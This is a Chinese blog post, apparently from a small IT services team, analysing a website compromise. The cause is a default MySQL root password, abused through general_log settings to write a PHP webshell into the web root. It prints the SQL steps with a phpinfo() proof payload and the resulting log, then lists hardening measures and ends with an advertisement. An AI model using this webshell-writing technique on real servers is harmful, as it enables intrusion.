记一次网站被攻击WebShell分析
发布时间: 2019-08-29 点击数: 23

故障现象

某客户网站访问出现异常,明显是被攻击了并植入广告了。

先处理完了被修改的文件,恢复访问,要分析一下原因,以防止下次被重新攻击。


攻击分析

起初是怀疑程序问题,检查了很久没发现问题,随后怀疑环境配置问题,最终根据日志信息找到原因。

总结起来,就是利用了MySQL的root弱口令通过写入文件的方式拿到WebShell。

如果出现MySQL出现弱口令,比如如下场景:

  • phpStudy 安装后没有修改默认 root 用户的密码

  • 其他一些继承环境没有修改默认 root 用户的密码

使用自带的 PhpMyAdmin 或者其他工具连接进入 MySQL 运行环境,执行如下 SQL:

 set global general_log='on';
 SET global general_log_file='C:\\phpstudy\\PHPTutorial\\WWW\\test_shell.php';
 SELECT '<?php phpinfo();?>';

执行后就会将以下内容写入 C:\phpstudy\PHPTutorial\WWW\test_shell.php 文件。

 C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
 TCP Port: 3306, Named Pipe: MySQL
 Time                 Id Command    Argument
      28 Init DB test
      28 Query SHOW TABLES FROM `test`
      28 Query SHOW TABLE STATUS FROM `test`
      28 Quit 
 190830 10:04:09    29 Connect root@localhost on 
      29 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
      29 Init DB test
      29 Init DB test
      29 Query SELECT '<?php phpinfo();?>'
      29 Query SHOW VARIABLES LIKE 'profiling'
      29 Query SHOW TABLES
      29 Quit 
 190830 10:10:03    30 Connect root@localhost on 
      30 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
      30 Init DB test
      30 Query SHOW TABLES FROM `test`
      30 Query SHOW TABLE STATUS FROM `test`
      30 Query SELECT CURRENT_USER()
      30 Query SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''localhost''' AND PRIVILEGE_TYPE='EVENT'
      30 Query SELECT CURRENT_USER()
      30 Query SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''localhost''' AND PRIVILEGE_TYPE='TRIGGER'
      30 Quit 
 190830 10:10:05    31 Connect root@localhost on 
      31 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
      31 Quit

之后不多说,只要能有机会写入系统文件,基本上就无敌了。


如何防范

  • 关闭数据库 MySQL 3306 端口的远程访问权限(使用防火墙屏蔽远程端口访问),其他软件(如 Redis 等)也是相同,关闭远程访问,可以解决掉由于软件本身Bug导致的攻击

  • 避免使用弱密码(任何系统都要注意修改掉默认的弱密码)

  • 使用开源集成环境时,要注意默认的一些配置(比如探针等),关闭一些不用的功能

  • 如果一个服务器安装多套系统时,要注意不同系统之间的环境、权限隔离,避免由于一个系统沦陷导致整个服务器沦陷

  • 有技术基础情况下优先使用Linux服务器,至少我们觉得从权限角度还是运维上,相对于Windows都要安全很多(见仁见智)




最后打个广告,我们(Antted)是一个有热情的团队,Antted 提供专业系统开发、系统搭建、服务器运维整体解决方案,对于技术我们怀有敬畏、谨慎的态度,让技术更好的为您的业务服务。

立即咨询
称呼:
QQ/微信:
问题描述: